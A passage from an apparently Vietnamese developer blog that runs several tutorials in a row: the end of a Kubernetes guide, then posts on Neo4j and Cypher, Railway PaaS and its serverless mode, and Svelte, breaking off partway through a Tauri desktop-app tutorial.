Service — Kết Nối Vào Pod

Pod có thể chết và tạo lại với IP mới. Service cung cấp một IP/domain ổn định.

apiVersion: v1
kind: Service
metadata:
  name: my-app-service
spec:
  selector:
    app: my-app
  ports:
    - port: 80
      targetPort: 3000
  type: ClusterIP  # Chỉ truy cập trong cluster

# LoadBalancer — expose ra ngoài (cloud)
apiVersion: v1
kind: Service
metadata:
  name: my-app-lb
spec:
  selector:
    app: my-app
  ports:
    - port: 80
      targetPort: 3000
  type: LoadBalancer

Ingress — HTTP Routing

Service LoadBalancer mỗi cái một IP — Ingress cho phép routing theo domain/path:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: my-app-ingress
spec:
  rules:
    - host: app.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-service
                port:
                  number: 80
          - path: /
            pathType: Prefix
            backend:
              service:
                name: web-service
                port:
                  number: 80

ConfigMap & Secret — Cấu Hình

apiVersion: v1
kind: ConfigMap
metadata:
  name: app-config
data:
  NODE_ENV: production
  LOG_LEVEL: info
---
apiVersion: v1
kind: Secret
metadata:
  name: db-secret
type: Opaque
stringData:
  DATABASE_URL: postgres://user:pass@db:5432/myapp

# Dùng trong Deployment
spec:
  containers:
    - envFrom:
        - configMapRef:
            name: app-config
        - secretRef:
            name: db-secret

PersistentVolume — Lưu Trữ Dữ Liệu

apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: data-pvc
spec:
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 10Gi
---
apiVersion: apps/v1
kind: Deployment
spec:
  template:
    spec:
      containers:
        - volumeMounts:
            - mountPath: /data
              name: storage
      volumes:
        - name: storage
          persistentVolumeClaim:
            claimName: data-pvc

Kubectl — Lệnh Cần Nhớ

# Cluster
kubectl cluster-info
kubectl get nodes

# Pods
kubectl get pods -w # Watch mode
kubectl get pods -o wide # Chi tiết hơn (IP, node)
kubectl logs -f deployment/my-app # Follow logs

# Debug
kubectl port-forward pod/my-app 3000:3000 # Forward port local
kubectl exec -it pod/my-app -- sh
kubectl describe pod my-app # Xem events, lý do crash

# Namespace
kubectl get pods -n production
kubectl config set-context --current --namespace=production

# Tài nguyên
kubectl top pods
kubectl top nodes

Helm — Package Manager

# Install Helm chart
helm repo add bitnami https://charts.bitnami.com/bitnami
helm install my-postgres bitnami/postgresql

# Tạo chart riêng
helm create my-app
# Chart.yaml, values.yaml, templates/

K8s Cho Dev — Minikube

# Local cluster
minikube start --cpus=4 --memory=8192
minikube dashboard # UI

# Dùng Docker images local
eval $(minikube docker-env)
docker build -t myapp:dev .

Kết Luận

Kubernetes phức tạp — nhưng chỉ cần nắm Pod, Deployment, Service, Ingress là đủ để deploy ứng dụng. Bắt đầu với Minikube, deploy app đơn giản, rồi nâng dần.

Nhớ: K8s giải quyết vấn đề orchestration ở quy mô lớn. Nếu bạn chỉ có 1-2 server, Docker Compose là đủ.

Tài liệu tham khảo

Neo4j & Graph Database — Khi Quan Hệ Là Dữ Liệu Chính

Sun, 05 Jul 2026 00:00:00 GMT

Graph database lưu dữ liệu dưới dạng nodes (đỉnh) và relationships (cạnh). Khi quan hệ giữa các entities là quan trọng nhất — graph DB vượt trội hơn SQL rất nhiều.

Graph vs Relational

Ví dụ: tìm bạn bè của bạn bè (friend-of-friend):

-- SQL — 5 JOIN
SELECT DISTINCT fof.*
FROM users u
JOIN friendships f1 ON u.id = f1.user_id
JOIN users f1u ON f1.friend_id = f1u.id
JOIN friendships f2 ON f1u.id = f2.user_id
JOIN users fof ON f2.friend_id = fof.id
WHERE u.id = 1 AND f2.friend_id != u.id;

// Neo4j — 1 pattern
MATCH (u:User {id: 1})-[:FRIENDS_WITH*2]->(fof:User)
WHERE NOT (u)-[:FRIENDS_WITH]->(fof)
RETURN DISTINCT fof

Graph database: relationships first-class citizens. Trong SQL, relationship là foreign key + JOIN. Trong graph, relationship là thực thể riêng, có thể có properties.

Cypher Query Language

Nodes & Relationships

// Create node
CREATE (u:User {id: 1, name: 'Alice', age: 30})

// Create relationship
CREATE (u1:User {name: 'Alice'})-[:FRIENDS_WITH {since: 2024}]->(u2:User {name: 'Bob'})

Match — Query

// Find user
MATCH (u:User {name: 'Alice'})
RETURN u

// Friends of Alice
MATCH (alice:User {name: 'Alice'})-[:FRIENDS_WITH]->(friend:User)
RETURN friend.name, friend.age

// Friend-of-friend (2 levels deep)
MATCH (alice:User {name: 'Alice'})-[:FRIENDS_WITH*2]->(fof:User)
RETURN DISTINCT fof.name

// Variable length paths
MATCH path = (alice:User {name: 'Alice'})-[:FRIENDS_WITH*1..3]->(other)
RETURN path

Create & Update

// Create with properties
CREATE (p:Post {
  id: 101,
  title: 'Graph DB Guide',
  content: 'Deep dive into Neo4j...',
  createdAt: datetime()
})

// Create relationship with properties
MATCH (u:User {id: 1}), (p:Post {id: 101})
CREATE (u)-[:POSTED {at: datetime()}]->(p)

// Like a post
MATCH (u:User {id: 2}), (p:Post {id: 101})
CREATE (u)-[:LIKED {at: datetime()}]->(p)

// Update
MATCH (u:User {name: 'Alice'})
SET u.age = 31

Delete

// Delete relationship
MATCH (u:User {id: 1})-[r:LIKED]->()
DELETE r

// Delete node and relationships
MATCH (u:User {id: 1})
DETACH DELETE u

Aggregation

// Count friends per user
MATCH (u:User)-[:FRIENDS_WITH]->(friend)
RETURN u.name, COUNT(friend) AS friendCount
ORDER BY friendCount DESC

// Average age of friends
MATCH (u:User {name: 'Alice'})-[:FRIENDS_WITH]->(friend)
RETURN AVG(friend.age) AS avgFriendAge

// Most liked posts
MATCH (p:Post)<-[:LIKED]-()
RETURN p.title, COUNT(*) AS likes
ORDER BY likes DESC
LIMIT 10

Recommendation System

// "Users who liked this post also liked..."
MATCH (target:Post {id: 101})<-[:LIKED]-(user:User)
MATCH (user)-[:LIKED]->(other:Post)
WHERE other.id != 101
RETURN other.title, COUNT(*) AS score
ORDER BY score DESC
LIMIT 5

// Product recommendation (collaborative filtering)
MATCH (customer:Customer {id: 1})-[:PURCHASED]->(:Product)<-[:PURCHASED]-(other:Customer)
MATCH (other)-[:PURCHASED]->(recommendation:Product)
WHERE NOT (customer)-[:PURCHASED]->(recommendation)
RETURN recommendation.name, COUNT(*) AS relevance
ORDER BY relevance DESC
LIMIT 10

Social Graph

// Mutual friends
MATCH (u:User {id: 1})-[:FRIENDS_WITH]->(mutual:User)<-[:FRIENDS_WITH]-(u2:User {id: 2})
RETURN mutual.name

// Suggested friends (friends of friends, not already friends)
MATCH (u:User {id: 1})-[:FRIENDS_WITH*2]->(suggestion:User)
WHERE NOT EXISTS((u)-[:FRIENDS_WITH]->(suggestion))
  AND u.id <> suggestion.id
RETURN suggestion.name, COUNT(*) AS commonFriends
ORDER BY commonFriends DESC
LIMIT 10

// Shortest path between two users
MATCH p = shortestPath(
  (alice:User {name: 'Alice'})-[:FRIENDS_WITH*]-(bob:User {name: 'Bob'})
)
RETURN [node IN nodes(p) | node.name] AS path

Node.js với Neo4j

import neo4j from 'neo4j-driver';

const driver = neo4j.driver(
  'bolt://localhost:7687',
  neo4j.auth.basic('neo4j', 'password')
);

const session = driver.session();

// Create
async function createUser(name: string, email: string) {
  const result = await session.run(
    'CREATE (u:User {id: randomUUID(), name: $name, email: $email, createdAt: datetime()}) RETURN u',
    { name, email }
  );
  return result.records[0].get('u').properties;
}

// Query friends
async function getFriends(userId: string) {
  const result = await session.run(
    `MATCH (u:User {id: $userId})-[:FRIENDS_WITH]->(friend:User)
     RETURN friend.name AS name, friend.email AS email
     ORDER BY friend.name`,
    { userId }
  );
  return result.records.map(r => ({
    name: r.get('name'),
    email: r.get('email'),
  }));
}

// Shortest path
async function findConnection(user1Id: string, user2Id: string) {
  const result = await session.run(
    `MATCH p = shortestPath(
       (u1:User {id: $user1Id})-[:FRIENDS_WITH*]-(u2:User {id: $user2Id})
     )
     RETURN [n IN nodes(p) | n.name] AS path,
            length(p) AS degrees`,
    { user1Id, user2Id }
  );

  if (result.records.length === 0) return null;
  return {
    path: result.records[0].get('path'),
    degrees: result.records[0].get('degrees'),
  };
}

// Cleanup
await session.close();
await driver.close();

Use Cases

| Use Case | SQL | Graph | |---|---|---| | Friend-of-friend | Nhiều JOIN, chậm | 1 hop, nhanh | | Recommendation | Khó modelling | Tự nhiên | | Fraud detection | Pattern detection phức tạp | Pattern matching dễ | | Network/IT | Nhiều JOIN | Graph traversal | | Knowledge graph | Không phù hợp | Rất phù hợp |

Docker

services:
  neo4j:
    image: neo4j:5-community
    ports:
      - "7474:7474"  # Browser UI
      - "7687:7687"  # Bolt protocol
    environment:
      - NEO4J_AUTH=neo4j/password
      - NEO4J_PLUGINS=["apoc"]
    volumes:
      - neo4j_data:/data

volumes:
  neo4j_data:

Performance

// Index cho frequent lookups
CREATE INDEX user_id IF NOT EXISTS FOR (u:User) ON (u.id)
CREATE INDEX post_id IF NOT EXISTS FOR (p:Post) ON (p.id)

// Composite index
CREATE INDEX user_name_email IF NOT EXISTS FOR (u:User) ON (u.name, u.email)

// PROFILE — xem query plan
PROFILE
MATCH (u:User {id: 1})-[:FRIENDS_WITH]->(friend)
RETURN friend.name

Kết Luận

Graph database chiến thắng khi:

Dữ liệu có nhiều quan hệ phức tạp
Cần traversal nhiều levels (friend-of-friend)
Recommendation, fraud detection
Knowledge graph, network analysis

Không dùng graph cho: CRUD đơn giản, báo cáo tổng hợp, dữ liệu dạng bảng — SQL vẫn tốt hơn.

Neo4j + Cypher là lựa chọn tốt nhất cho graph database. Bắt đầu với Docker, học Cypher cơ bản, và dùng khi có vấn đề về connection.

Tài liệu tham khảo

Railway — PaaS Hiện Đại Cho Backend Hiệu Quả

Sun, 05 Jul 2026 00:00:00 GMT

Railway là nền tảng deploy backend — kết nối GitHub repo, Railway build và host tự động.

Git push → Railway build → Deploy → HTTPS domain → Scale

Không config server, không Dockerfile (optional), không quản lý infra.

Railway vs Các PaaS Khác

| | Heroku | Render | Vercel | Fly.io | Railway | |---|---|---|---|---|---| | Free tier | ❌ | ✅ | ✅ | ✅ | ✅ ($5 credit) | | Backend | ✅ | ✅ | ⚠️ Edge only | ✅ | ✅ | | Frontend | ✅ | ✅ | ✅ | ✅ | ✅ | | Database | Postgres (addon) | Postgres, Redis | ❌ | Postgres | Postgres, MySQL, Redis, MongoDB | | Serverless | ❌ | ✅ | ✅ | ✅ | ✅ | | Private network | ❌ | ✅ | ❌ | ✅ | ✅ | | Volumes | ❌ | ✅ | ❌ | ✅ | ✅ | | Cron | ❌ | ✅ | ❌ | ✅ | ✅ | | Pricing | $7+/tháng | $7+/tháng | $20+/tháng | $5.68+/tháng | $5+/tháng (usage-based) |

Railway có lợi thế: database tích hợp, private network mặc định, usage-based pricing.

Quick Start

# 1. Cài Railway CLI
npm i -g @railway/cli

# 2. Login
railway login

# 3. Init project trong thư mục code
railway init

# 4. Deploy
railway up

# Hoặc connect GitHub → auto-deploy khi push

Deploy từ GitHub

# railway.json — cấu hình project
{
  "build": {
    "builder": "NIXPACKS",
    "buildCommand": "npm run build"
  },
  "deploy": {
    "startCommand": "npm start",
    "healthcheckPath": "/health",
    "restartPolicyType": "ON_FAILURE"
  }
}

New Project → Deploy from GitHub repo
Chọn branch
Railway auto-detect language + build
Deploy + HTTPS domain tự động

Zero Config Detection

| Language | Build | Start | |---|---|---| | Node.js | npm ci && npm run build | npm start | | Python | pip install -r requirements.txt | python main.py | | Go | go build -o app | ./app | | Rust | cargo build --release | ./target/release/app | | Docker | Dockerfile | Dockerfile CMD | | Static | Copy files | N/A |

Database Tích Hợp

Railway có database plugins — click là có:

# CLI
railway add postgres
railway add mysql
railway add redis
railway add mongodb

// DATABASE_URL tự động available
import postgres from 'postgres'

const sql = postgres(process.env.DATABASE_URL!)
// Railway tự động inject connection string

Plugin → Railway provision → Auto-inject DATABASE_URL
                               ↓
                        Code chỉ cần đọc env var

Database có: backup tự động, metrics, scaling, private network.

Private Network

Mọi service trong cùng project đều kết nối được qua private network:

Project
├── Web API (public)
├── Worker (private)
├── Postgres
└── Redis

Web API → private:5432 (Postgres)
Worker → private:6379 (Redis)

Không expose database ra internet. Dùng DATABASE_URL thay DATABASE_PUBLIC_URL:

# DATABASE_URL — private network (nên dùng)
postgres://user:pass@db.railway.internal:5432/mydb

# DATABASE_PUBLIC_URL — public internet (không khuyến khích)
postgres://user:pass@db.railway.app:5432/mydb

Private network = free egress. Public network = tính phí egress.

Environment & Variables

# railway.toml — variables cho từng environment
[environments]
  [environments.production.variables]
  NODE_ENV = "production"
  LOG_LEVEL = "info"

  [environments.staging.variables]
  NODE_ENV = "staging"
  LOG_LEVEL = "debug"

# Reference variables — dùng biến từ service khác
DATABASE_URL = "${{Postgres.DATABASE_URL}}"
REDIS_URL = "${{Redis.REDIS_URL}}"

Volumes

Persistent storage cho service cần giữ dữ liệu:

railway volume add --mount /data

// Code đọc/ghi vào /data — persistent qua deploy
import fs from 'fs'

const data = fs.readFileSync('/data/config.json', 'utf-8')
fs.writeFileSync('/data/output.txt', 'persistent data')

Volumes có backup, snapshot, restore.

Pricing

Railway tính phí theo usage (compute + egress):

| Plan | Compute | Egress | |---|---|---| | Hobby | $5 credit/tháng | $5 credit/tháng | | Pro | $20 base + usage | $0.10/GB |

# $5 credit = chạy service nhỏ ~1 tháng
# Staging + Serverless = gần như free

Usage limits: set hard limit để tránh overspend.

Cron

{
  "cron": {
    "schedule": "0 0 * * *",
    "command": "npm run daily-report"
  }
}

Hoặc dùng CLI:

railway cron create --schedule "0 */6 * * *" --command "npm run sync"

Railway Agent (AI)

Railway tích hợp AI agent — chat với infrastructure:

"Deploy Postgres và kết nối với web API"
→ Railway Agent tự động provision + config

railway agent "Scale web-api to 3 replicas"
railway agent "Add Redis and connect to worker"
railway agent "Show me recent errors in production"

Use Cases

Fullstack App

Project
├── Next.js (frontend + API) — public
├── Postgres — private
├── Redis — private
└── Worker — background job

Microservices

Project
├── api-gateway — public
├── user-service — private
├── payment-service — private
├── notification-service — private
├── Postgres — private
└── Redis — private

Staging + Production

railway environment create staging
# Deploy cùng code, database riêng
# Staging có Serverless = tiết kiệm

Khi Nào Dùng Railway?

✅ Nên dùng

Backend API — Node, Python, Go, Rust, Docker
Fullstack app — frontend + backend + database cùng project
Microservices — private network mặc định
Starter / MVP — deploy nhanh, không config infra
Team nhỏ — không cần DevOps riêng

❌ Không nên

Static site — Vercel/Cloudflare Pages rẻ hơn
Enterprise compliance — cần self-hosted
High-scale real-time — cần infra control nhiều hơn
Budget cực thấp — free tier hạn chế

Tổng Kết

Railway là PaaS hiện đại — deploy nhanh, database tích hợp, private network, giá theo usage.

# Từ git push đến production: <5 phút
railway init
railway up
# → https://my-project.railway.app

# Thêm database: 1 click
railway add postgres
# → DATABASE_URL tự động inject

| Tính năng | Railway | Heroku | Render | |---|---|---|---| | Deploy | Git push | Git push | Git push | | Database | Built-in (5 loại) | Addon (trả thêm) | Built-in (2 loại) | | Private network | ✅ Mặc định | ❌ | ✅ | | Pricing | Usage-based | $7/tháng fixed | $7/tháng fixed | | Serverless | ✅ 1 click | ❌ | ✅ | | AI Agent | ✅ | ❌ | ❌ |

Railway là lựa chọn tốt cho backend và fullstack app — đặc biệt khi cần database tích hợp và private network.

Tài liệu tham khảo

Railway Serverless — Scale To Zero Cho Backend

Sun, 05 Jul 2026 00:00:00 GMT

Railway Serverless là tính năng tự động scale to zero — service ngủ khi không hoạt động, wake khi có request.

Không Serverless:  Service chạy 24/7 → trả tiền 24/7
Có Serverless:     Service ngủ khi idle → chỉ trả khi chạy

Kết quả: giảm chi phí đến 90% cho staging, dev, API ít traffic.

Cách Hoạt Động

Railway phát hiện inactivity qua outbound traffic:

Service chạy → 10 phút không có outbound packets → Ngủ
Service ngủ  → Có request từ internet/private network → Wake

Outbound Traffic là gì?

Bất kỳ packet nào từ service ra ngoài:

# Gọi API bên ngoài → outbound → service không ngủ
curl https://api.example.com

# Kết nối database → outbound → service không ngủ
psql -h db.railway.internal ...

# NTP sync → outbound → service không ngủ
# Telemetry (Next.js, Sentry, ...) → outbound → service không ngủ

Inbound Traffic

Railway chỉ dùng outbound để detect inactivity. Request từ internet vào không tính là activity cho việc ngủ.

Inbound request → KHÔNG reset inactivity timer
Outbound request → CÓ reset inactivity timer

Wake

Khi service ngủ, request đầu tiên sẽ wake nó. Có thể mất vài giây (cold boot).

Khi Nào Nên Dùng

✅ Nên dùng

Staging / Preview — không cần chạy 24/7
API ít traffic — vài request/ngày
Bot / Cron job — chạy theo lịch
Development — personal project, demo
Background worker — không real-time

❌ Không nên

Production API cần response nhanh — cold boot >502
WebSocket / real-time — cần kết nối liên tục
Database — không support serverless (cần chạy 24/7)
Service có cron job trong container — không chạy khi ngủ

Enable

# Railway Dashboard
Service → Settings → Deploy → Serverless → Toggle On

Apply cho tất cả replicas. Có thể toggle bất kỳ lúc nào.

Cold Boot

Khi service ngủ, request đầu vào wake nó:

Request → Railway wake → Build/Start → Response
                ↓
          ~1-5 giây (tuỳ service size)

502 Bad Gateway

Request đầu tiên đến service đang ngủ có thể trả về 502:

Client:   GET /api/data
Railway:  Service đang ngủ → wake
          Client nhận 502 (timeout chờ wake)
          Service wake xong → request tiếp theo OK

Giải pháp: retry từ client.

async function fetchWithRetry(url: string, retries = 3) {
  for (let i = 0; i < retries; i++) {
    try {
      const res = await fetch(url)
      if (res.ok) return res
    } catch (e) {
      if (i === retries - 1) throw e
      await new Promise(r => setTimeout(r, 1000 * (i + 1)))
    }
  }
}

Hoặc dùng keep-alive ping để service không ngủ:

# Cron job ping mỗi 5 phút — service không bao giờ ngủ
*/5 * * * * curl https://my-service.railway.app/health

Cost Savings

| Scenario | Không Serverless | Có Serverless | |---|---|---| | Staging (chạy 24/7) | $5/ngày | ~$0.50/ngày | | Dev API (100 req/ngày) | $3/ngày | ~$0.10/ngày | | Production (10k req/ngày) | $5/ngày | $3/ngày (ít savings) |

Càng ít traffic, savings càng lớn.

Keep Service Awake

Nếu muốn service không ngủ nhưng vẫn enable Serverless:

// Ping internal network mỗi 5 phút
// Railway coi private network traffic là outbound
setInterval(async () => {
  await fetch('http://other-service.railway.internal/health')
}, 5 * 60 * 1000)

Hoặc disable Serverless nếu cần uptime 24/7.

Use Cases

Staging Environment

# railway.json
{
  "environments": {
    "production": {
      "serverless": false
    },
    "staging": {
      "serverless": true
    }
  }
}

Staging chỉ chạy khi dev push PR và test. Tiết kiệm ~80% chi phí staging.

Preview Deployments

Mỗi PR → preview deployment với Serverless. Chạy khi review, ngủ khi không ai dùng.

API Bot

# Telegram bot, Discord bot — chỉ chạy khi có message
# Serverless: ngủ khi không ai chat

Cron Job

# Service chạy theo lịch, wake nhờ cron trigger
# Railway cron + Serverless: service wake, run, sleep

Giới Hạn

Slot consumption: Service ngủ vẫn chiếm slot infrastructure
De-prioritized workload: Service ngủ có thể bị ưu tiên thấp hơn
Rebuild cần thiết: Trường hợp remote, có thể cần rebuild để wake
Cold boot delay: Request đầu có thể 502
10 phút inactivity: Không config được threshold

So Sánh

| | Railway Serverless | AWS Lambda | Cloudflare Workers | |---|---|---|---| | Cold boot | ~1-5s | ~100-500ms | ~0ms (isolate) | | Max timeout | Không giới hạn | 15 phút | 30s (free), 15 phút (paid) | | Language | Any (Docker) | Node, Python, Java, Go... | JS/TS, Wasm | | Persistent storage | ✅ Volumes | ❌ (EFS chậm) | ❌ (KV, R2) | | State | Giữa các request | Stateless | Stateless | | Pricing | RAM/CPU usage + egress | Request + duration | Request + CPU time |

Railway Serverless phù hợp cho full backend service cần persistent storage, bất kỳ ngôn ngữ nào, không bị timeout — nhưng cold boot lâu hơn.

Tổng Kết

Railway Serverless là giải pháp scale-to-zero đơn giản nhất — toggle một nút, không config, không code change.

# Trước: trả $150/tháng cho staging chạy 24/7
# Sau: toggle Serverless → $15/tháng

| Ưu điểm | Nhược điểm | |---|---| | Zero config — toggle 1 nút | Cold boot ~1-5s | | Giảm cost 80-90% | Request đầu có thể 502 | | Wake tự động | Không cho service real-time | | Any language, any framework | 10 phút inactivity threshold fixed | | Persistent volume | Vẫn chiếm slot |

Serverless là tính năng tiết kiệm nhất cho staging, dev, và API ít traffic. Cho production traffic cao, không cần bật.

Tài liệu tham khảo

Svelte — Framework Compile-Time Cho Web App

Sun, 05 Jul 2026 00:00:00 GMT

Svelte là framework UI khác biệt: nó compile component thành JavaScript thuần ở build time, không gửi runtime framework cho browser.

React:    Component → JSX → React runtime → Virtual DOM → Real DOM
Svelte:   Component → Compiler → Vanilla JS → Real DOM (trực tiếp)

Kết quả: bundle nhỏ hơn, nhanh hơn, không cần virtual DOM.

Tại Sao Svelte?

Bundle Size

# React + ReactDOM: ~40KB min+gzip
# Svelte: 0KB runtime (chỉ code bạn viết)

App càng nhỏ, Svelte càng lợi thế. Một "Hello World" Svelte: ~2KB. React: ~40KB.

Performance

Không virtual DOM = không diff, không reconciliation. Svelte biết chính xác DOM nào cần update khi state thay đổi — vì compiler tính trước.

React:  state change → diff VDOM → patch DOM
Svelte: state change → direct DOM update (compiler biết trước)

Component

<!-- App.svelte -->
<script>
  let name = 'world'
  let count = 0

  function increment() {
    count += 1
  }
</script>

<h1>Hello {name}!</h1>
<p>Count: {count}</p>
<button on:click={increment}>+1</button>

<style>
  h1 { color: purple; }
</style>

HTML, script, style trong một file. Scoped CSS mặc định.

Reactivity

<script>
  let count = 0

  // Reactive statement — chạy lại khi dependency thay đổi
  $: doubled = count * 2
  $: console.log(`Count is ${count}`)

  // Reactive block
  $: if (count > 10) {
    console.log('Over 10!')
  }

  function increment() {
    count += 1  // Tự động reactive
  }
</script>

<p>{count} × 2 = {doubled}</p>
<button on:click={increment}>+</button>

Không useState, không useEffect, không dependency array. Gán biến = tự động reactive.

Props & Events

<!-- Child.svelte -->
<script>
  // Props — export để parent truyền vào
  export let title = 'Default title'
  export let items = []

  // Dispatch event lên parent
  import { createEventDispatcher } from 'svelte'
  const dispatch = createEventDispatcher()

  function handleClick(item) {
    dispatch('select', { item })
  }
</script>

<h2>{title}</h2>
<ul>
  {#each items as item (item.id)}
    <li on:click={() => handleClick(item)}>{item.name}</li>
  {/each}
</ul>

<!-- Parent.svelte -->
<script>
  import Child from './Child.svelte'

  const items = [
    { id: 1, name: 'Svelte' },
    { id: 2, name: 'SvelteKit' },
  ]

  function onSelect(event) {
    console.log('Selected:', event.detail.item)
  }
</script>

<Child title="Frameworks" {items} on:select={onSelect} />

Logic Blocks

{#if user.loggedIn}
  <p>Welcome, {user.name}!</p>
  <button on:click={logout}>Logout</button>
{:else}
  <button on:click={login}>Login</button>
{/if}

{#each posts as post, i}
  <article>
    <h3>{i + 1}. {post.title}</h3>
    <p>{post.excerpt}</p>
  </article>
{/each}

{#each items as item (item.id)}
  <!-- Keyed each — giống React key -->
  <div>{item.name}</div>
{/each}

{#await promise}
  <p>Loading...</p>
{:then data}
  <p>Data: {data}</p>
{:catch error}
  <p>Error: {error.message}</p>
{/await}

Stores (State Management)

// store.ts — Svelte store là observable
import { writable, derived } from 'svelte/store'

export const count = writable(0)
export const doubled = derived(count, ($count) => $count * 2)

// Methods
export function increment() {
  count.update(n => n + 1)
}
export function reset() {
  count.set(0)
}

<script>
  import { count, doubled, increment } from './store'

  // Auto-subscribe — reactive
  // $ prefix = tự động subscribe/unsubscribe
</script>

<p>Count: {$count}</p>
<p>Doubled: {$doubled}</p>
<button on:click={increment}>+</button>

Transitions & Animations

<script>
  import { fade, slide, fly, scale } from 'svelte/transition'
  import { flip } from 'svelte/animate'
  let visible = false
  let items = ['a', 'b', 'c']
</script>

<button on:click={() => visible = !visible}>
  Toggle
</button>

{#if visible}
  <div transition:fade={{ duration: 300 }}>
    Fade in/out
  </div>
  <div transition:slide>
    Slide in/out
  </div>
  <div transition:fly={{ x: 200, duration: 500 }}>
    Fly from right
  </div>
{/if}

<!-- Flip animation cho list -->
{#each items as item (item)}
  <div animate:flip>{item}</div>
{/each}

CSS transitions native — không cần thư viện animation.

SvelteKit (App Framework)

SvelteKit là Next.js của Svelte — fullstack framework:

npm create svelte@latest my-app
cd my-app
npm install
npm run dev

Routing

<!-- src/routes/+page.svelte — trang chủ -->
<h1>Home</h1>

<!-- src/routes/blog/[slug]/+page.svelte — dynamic route -->
<script>
  import { page } from '$app/stores'
  export let data  // Từ load function
</script>

<h1>{data.post.title}</h1>
<article>{@html data.post.content}</article>

Load Data

// src/routes/blog/[slug]/+page.ts
export async function load({ params, fetch }) {
  const res = await fetch(`/api/posts/${params.slug}`)
  const post = await res.json()
  return { post }
}

Form Actions

// src/routes/login/+page.server.ts
export const actions = {
  default: async ({ request }) => {
    const data = await request.formData()
    const email = data.get('email')
    const password = data.get('password')

    // Validate
    if (!email) return { error: 'Email required' }

    // Login logic
    const user = await login(email, password)
    return { success: true }
  }
}

<script>
  import { enhance } from '$app/forms'
  export let form  // Server trả về
</script>

<form method="POST" use:enhance>
  <input name="email" type="email">
  <input name="password" type="password">
  <button type="submit">Login</button>
</form>

{#if form?.error}
  <p class="error">{form.error}</p>
{/if}

Svelte vs React

| | React | Svelte | |---|---|---| | Runtime | ~40KB | 0KB (compiled) | | Virtual DOM | ✅ | ❌ (direct DOM) | | State | useState, useReducer | let, $:, stores | | Effect | useEffect + deps | $: reactive statements | | Props | props object | export let | | Events | Callback props | createEventDispatcher | | CSS | CSS-in-JS, modules | Scoped mặc định | | Transition | React Transition Group, Framer | Built-in (fade, slide, fly) | | Learning curve | Cao (JSX, hooks, deps) | Thấp (HTML + JS) | | Bundle | App + React runtime | Chỉ code của bạn |

Khi nào dùng Svelte?

✅ Nên dùng:

Web app nhỏ-gọn — bundle size quan trọng
Interactive UI — animation, transition nhiều
Team mới học — Svelte dễ hơn React
Embedded UI — bundle nhỏ = load nhanh

❌ Không nên:

Ecosystem dependency — React ecosystem lớn hơn
Team React chuyên — không cần đổi
Job market — React jobs nhiều hơn

Tổng Kết

Svelte đơn giản hóa web development bằng cách compile đi complexity.

<!-- Svelte: code = HTML + JS, framework xử lý phần còn lại -->
<script>
  let count = 0
</script>

<button on:click={() => count++}>
  Clicked {count} {count === 1 ? 'time' : 'times'}
</button>

<style>
  button { background: purple; color: white; }
</style>

| Tính năng | Svelte | React | |---|---|---| | Bundle | ~2KB (Hello World) | ~40KB | | Boilerplate | 0 (gán biến = state) | useState, useEffect | | Scoped CSS | Mặc định | CSS-in-JS | | Animation | Built-in | Thư viện | | Compile time | ✅ | ❌ | | Runtime | 0KB | ~40KB |

Svelte không phải "React killer" — nó là alternative cho những ai muốn ít abstraction hơn, bundle nhỏ hơn, và code gần với HTML thuần hơn.

Tài liệu tham khảo

Tauri — Desktop App Với Web Technology Nhẹ Hơn Electron

Sun, 05 Jul 2026 00:00:00 GMT

Tauri là framework xây desktop app với web technology — như Electron nhưng nhẹ hơn, nhanh hơn, an toàn hơn.

Electron:  Chromium (~200MB) + Node.js + HTML/CSS/JS
Tauri:     WebView (OS-native) + Rust backend + HTML/CSS/JS

Size: Electron app ~200MB. Tauri app ~2MB.

Tại Sao Tauri?

So Sánh Với Electron

| | Electron | Tauri | |---|---|---| | Bundle size | ~200MB | ~2MB | | Memory | ~100-200MB | ~20-50MB | | Backend | Node.js | Rust | | Security | Thấp (Node full access) | Cao (allowlist API) | | Build | npm build | npm build + cargo build | | Cross-platform | ✅ | ✅ (macOS, Windows, Linux) | | Mobile | ❌ | ✅ (iOS, Android — Tauri v2) |

Tauri v2

Tauri v2 (2025+) hỗ trợ mobile — iOS và Android:

Tauri v1:   Desktop (macOS, Windows, Linux)
Tauri v2:   Desktop + Mobile (iOS, Android)

Cài Đặt

# Prerequisites
# macOS: Xcode
# Linux: WebKitGTK, libsoup
# Windows: WebView2

npm create tauri-app@latest my-app
# Select: React, Vue, Svelte, Vanilla...

cd my-app
npm install
npm run tauri dev

Project Structure

my-app/
├── src/              # Frontend (React/Vue/Svelte)
├── src-tauri/
│   ├── src/
│   │   └── main.rs   # Rust backend
│   ├── Cargo.toml
│   ├── tauri.conf.json
│   └── icons/
└── package.json

Frontend (React + Vite)

// src/App.tsx — Frontend React
import { invoke } from '@tauri-apps/api/core'
import { useState } from 'react'

function App() {
  const [count, setCount] = useState(0)
  const [rustMessage, setRustMessage] = useState('')

  const greet = async () => {
    // Gọi Rust function
    const msg = await invoke('greet', { name: 'Tauri' })
    setRustMessage(msg as string)
  }

  return (
    <div>
      <h1>Welcome to Tauri!</h1>
      <p>Count: {count}</p>
      <button onClick={() => setCount(c => c + 1)}>Increment</button>
      <button onClick={greet}>Call Rust</button>
      <p>{rustMessage}</p>
    </div>
  )
}

Rust Backend

// src-tauri/src/main.rs
#[tauri::command]
fn greet(name: &str) -> String {
    format!("Hello, {}! From Rust 🦀", name)
}

#[tauri::command]
fn add(a: i32, b: i32) -> i32 {
    a + b
}

#[tauri::command]
fn read_file(path: &str) -> Result<String, String> {
    std::fs::read_to_string(path)
        .map_err(|e| e.to_string())
}

fn main() {
    tauri::Builder::default()
        .invoke_handler(tauri::generate_handler![greet, add, read_file])
        .run(tauri::generate_context!())
        .expect("error while running tauri application")
}

Tauri Commands (IPC)

Frontend gọi Rust backend qua invoke:

// Frontend
import { invoke } from '@tauri-apps/api/core'

// Gọi command
const sum = await invoke('add', { a: 5, b: 3 })
// sum: 8

// Với error handling
try {
  const content = await invoke('read_file', { path: '/etc/hosts' })
  console.log(content)
} catch (error) {
  console.error('Failed to read file:', error)
}

// Rust — command có thể return Result
#[tauri::command]
fn get_user(id: u32) -> Result<User, String> {
    let user = database::find_user(id)
        .ok_or_else(|| format!("User {} not found", id))?;
    Ok(user)
}

File System

import { readTextFile, writeTextFile } from '@tauri-apps/plugin-fs'
import { resolve } from '@tauri-apps/api/path'

// Đọc/ghi file trong app data directory
